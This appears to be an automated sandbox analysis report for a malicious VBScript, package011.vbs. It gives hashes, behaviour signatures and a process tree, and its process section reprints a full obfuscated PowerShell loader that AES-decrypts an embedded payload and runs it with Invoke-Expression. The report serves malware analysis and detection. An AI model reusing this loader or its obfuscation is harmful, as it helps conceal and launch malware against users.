Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    12-07-2024 16:56

General

  • Target

    package011.vbs

  • Size

    150KB

  • MD5

    23df05b7be963f02a76cd7fb64a1cccc

  • SHA1

    a361a5214b9cfa838b77b4349fa0898db400fd97

  • SHA256

    a8e815c5920b41708193a747a8635f3a10d5fc933b6743177b5353a01ad76717

  • SHA512

    01ac143a46a5b81f23621ec9654a5f347269033ac2ea7e751a6b1df4cd9aee51c2be1023379669b5044604312884b14eaff49099c79cfc4890049b688f1222e1

  • SSDEEP

    1536:yZccvQGghdpPZp+ogsUJW4Wrle/PhG+/kery+bGsGI38sv5HnIgs:QghdpP+og0S7hO

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\package011.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI54017336715515162301463169167087CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIRVKb4AMnkcGT+1lRhDq2wGvsgxIWAbGvnAKn/KLt4ftcExS0J6PGPkyqQaBny3dqVsssrgFa+JaPcIyUhJhQXOaB/AZP4wo1wuwJ1fJM5bAu+dP//NHHKoo4LQYwoqJjzElrkfA2WmjOHFvWL5ffOYOqkyqieKwtHphpXiVovPlmhcb0S1v2ezagT2Vmks746+5Af+ygpdewM/TjYc2J8AHemy9cMo/4hrwBfp1jBWlmuXqwV9h3co0UZW0jB2dz2VZbV7ZDoKUAVBW/V3vINzl7GZvVlGcAaOXds5ExG5fwVaodCcInqFM1QQXEnjpB1tTNSugmQYYGiubBh0AMgMkHz3uXM6qIv0ggixuYCK74Zy/4zVo5/uWR4xc7I8WYOtAiUEGaVGzDMhEmCKqyokWQ34dBuQANpSwdRyhRD8OmyRroc7e65DzHz/xZp2xVjvpAf9s+ckPY41fLm71nDtpTbFFSJTdaQnBf2ATv1zPJZ6fh+fmgfgGULgO4L+ldJPmPZUEK7wMlrGaPqzzWpRMxXXSZ1MOQL68UfsjW3GzYvo0H3iocVB81r9MIiLvZX8Y0HZly/LMji9VNcU+n7ofYCBsEnXZnvmtzLxiN1Jmk6WkoLPiiJ/FsQ764Iuc/zsUDRDD9mwyrIbngZyfN4zvnDo8TaH4+JQjvHEi6qihxvdbOY1AAv/usKcWSuzvFoJVHfSDlNBhpcW1Amcnv3SDckyFR61PGwdDxtZBwHOfQYQYDGwffp/4i9pSC5BCMw0xXmbBZu+0oG7U/vdwveQVOXsd67CQBHfIhjzuZOw5YnMedohBQo5WpTwAmdw/pXaBtxLMY8XlS/3wgiEKEsNfiObdNZNF4FcWqqBcxMCM7dNBr3P7yi1z8EGs9Plxf5Y6rbRh9ytLZ0lTnzs+I3QOe8wKOkARifHeztj8fNtSPzHi0a1QONAyeZQHl6K2sYfhGZO2djiLrs2sBusjxgv1Aybwq2e/EDmJY8ujuPGYk/KxIFwlkclKozCWCN/iRjeQgcxfHRxdOibiC9UouixNm6PZLetLNaXGL5onrZ4rursfSkQGxdSFAyfTMX88eb/fBP/pfsUv+JRoM/p+ox/syG9apC2cW4zQ7VWmDX2rbidh1eApWuowRe+CZczNSZezlT02ciH0U9MTyzG5GPIXbB68wAKePzG/E/ae0IAOuc0xmtjjgMWtMk+63rlSsv8VcBPVHaofdAOWT9w4BPLj9u1uOD8I0NIex+GOYS429KoBGJ/1BMzFAf5llNPlZN2jclE2KfdQ/Q4m6c/r4yqWD5JXMw9w4dLN6WyHkifaH1Y9FDYyejX8ckzJ8WvJAVXgmmN9ip8D3qOaugY7TmUXhXm0sL/6be/YScyAGkpfEyLqalKurxcJ9ARrhQ2axllqthk732UFRnZtMMG4kKJfh15lRbGniEQNknMMo8pldrew/J8sUOJUeE3zAMZX/T1x5LrEyQ254M05a7DZL3RdtXK+w3L1WFzN4sU4xp3n7XsYE0DlbDyTz+ufNUlBo9hA/Eid5vK+cEm+618JqvKlr8dehYjfgwr3iP86K5K3O3Mo0QWnwMb/29to/5qDss0mmXGspxFn9fmTIAyq7hqMpCfmv/RUZwMG3qetlNIzb6ReZLENyvPtmeLWQOOzJd6+KM4pp/GyJ9TjB4YfixpqPD4LSZ3Eng1BBqAY8XaI4djDN8t05f8Z9BHnwBJIww9r2sUySG54n+UNhdZYetqkqNJH/bbd6D6QPiVsXgdQTUXipSGCA7W2pL/kLCf7B8PQRtmRKYasYSYwU9CoBy5zgsaBbMUzDM4HeXhwgzQSX1rR/+hu0yHHQhlHb7nfrItcI1mMzkqH0mleO5Yss8HwOwn6LnoGSacAZOgsk3+HxlKWaIPSl9o3mhbi4zAtc6/isWyXcKJIF/KGoBWCJbXspQQul0p8kBpVnLniqck6MgBIHVEEdKUIKWA+jY75yCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2788

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UQFHO95Z\paste1[1].txt

    Filesize

    156B

    MD5

    ad6c37ef980373e9bcbd14810fad34bc

    SHA1

    9c061a1b3608b7c7f1db7cd06c8246913ee11bda

    SHA256

    ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c

    SHA512

    30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

  • memory/2788-22-0x000007FEF53BE000-0x000007FEF53BF000-memory.dmp

    Filesize

    4KB

  • memory/2788-23-0x000000001B670000-0x000000001B952000-memory.dmp

    Filesize

    2.9MB

  • memory/2788-24-0x0000000001D90000-0x0000000001D98000-memory.dmp

    Filesize

    32KB

  • memory/2788-25-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-26-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-27-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-28-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-29-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2788-30-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

    Filesize

    9.6MB